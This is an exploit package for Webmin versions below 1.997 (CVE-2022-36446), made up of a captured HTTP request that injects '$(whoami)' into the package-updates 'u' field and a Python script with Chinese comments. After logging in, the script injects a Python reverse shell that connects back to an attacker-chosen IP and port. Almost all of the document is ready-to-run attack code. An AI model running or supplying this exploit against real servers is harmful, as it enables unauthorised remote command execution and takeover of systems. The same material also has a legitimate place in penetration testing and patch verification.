POST /package-updates/update.cgi HTTP/1.1
Host: 46.101.171.176:10000
Cookie: redirect=1; testing=1; sid=05ebaaec3707b0075c641325e9153608
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 75
X-No-Links: 1
X-Progressive-Url: https://46.101.171.176:10000/package-updates/update.cgi
X-Requested-With: XMLHttpRequest
Origin: https://46.101.171.176:10000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Referer: https://46.101.171.176:10000/package-updates/update.cgi?xnavigation=1
Te: trailers
Connection: close

mode=new&search=ssh&redir=&redirdesc=&u=1337;$(whoami);&confirm=Install+Now

# 漏洞标题：Webmin < 1.997 - 远程代码执行 (RCE) (已验证)
# 日期：2022-07-25
# 漏洞作者：Emir Polat
# 厂商主页：https://www.webmin.com/
# 软件链接：https://www.webmin.com/download.html
# 版本：< 1.997
# 测试环境：版本 1.996 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
# CVE：CVE-2022-36446

import argparse
import requests
from bs4 import BeautifulSoup

def login(args):
    global session
    global sysUser

    session = requests.Session()
    loginUrl = f"{args.target}:10000/session_login.cgi"
    infoUrl = f"{args.target}:10000/sysinfo.cgi"

    username = args.username
    password = args.password
    data = {'user': username, 'pass': password}

    login = session.post(loginUrl, verify=False, data=data, cookies={'testing': '1'})
    sysInfo = session.post(infoUrl, verify=False, cookies={'sid' : session.cookies['sid']})

    bs = BeautifulSoup(sysInfo.text, 'html.parser')
    sysUser = [item["data-user"] for item in bs.find_all() if "data-user" in item.attrs]

    if sysUser:
        return True
    else:
        return False

def exploit(args):
    payload = f"""
    1337;$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{args.listenip}",{args.listenport}));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")');
    """

    updateUrl = f"{args.target}:10000/package-updates"
    exploitUrl = f"{args.target}:10000/package-updates/update.cgi"

    exploitData = {'mode' : 'new', 'search' : 'ssh', 'redir' : '', 'redirdesc' : '', 'u' : payload, 'confirm' : 'Install+Now'}

    if login(args):
        print("[+] 成功登录！")
        print(f"[+] 会话 Cookie => sid={session.cookies['sid']}")
        print(f"[+] 发现用户 => {sysUser[0]}")

        res = session.get(updateUrl)
        bs = BeautifulSoup(res.text, 'html.parser')

        updateAccess = [item["data-module"] for item in bs.find_all() if "data-module" in item.attrs]

        if updateAccess[0] == "package-updates":
            print(f"[+] 用户 '{sysUser[0]}' 有权限访问 <<软件包更新>>")
            print(f"[+] 漏洞利用开始...")
            print(f"[+] Shell 将通过端口 {args.listenport} 反弹至 {args.listenip}")

            session.headers.update({'Referer'  : f'{args.target}:10000/package-updates/update.cgi?xnavigation=1'})
            session.post(exploitUrl, data=exploitData)
        else:
            print(f"[-] 用户 '{sysUser[0]}' 没有权限访问 <<软件包更新>>")
    else:
        print("[-] 登录失败！")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Webmin < 1.997 - 远程代码执行 (已验证)")
    parser.add_argument('-t', '--target', help='目标 URL，例如：https://webmin.localhost', required=True)
    parser.add_argument('-u', '--username', help='登录用户名', required=True)
    parser.add_argument('-p', '--password', help='登录密码', required=True)
    parser.add_argument('-l', '--listenip', help='接收反弹 shell 的监听地址', required=True)
    parser.add_argument('-lp','--listenport', help='接收反弹 shell 的监听端口', required=True)
    parser.add_argument("-s", '--ssl', help="如果服务器支持 SSL，请使用此选项。", required=False)
    args = parser.parse_args()
    exploit(args)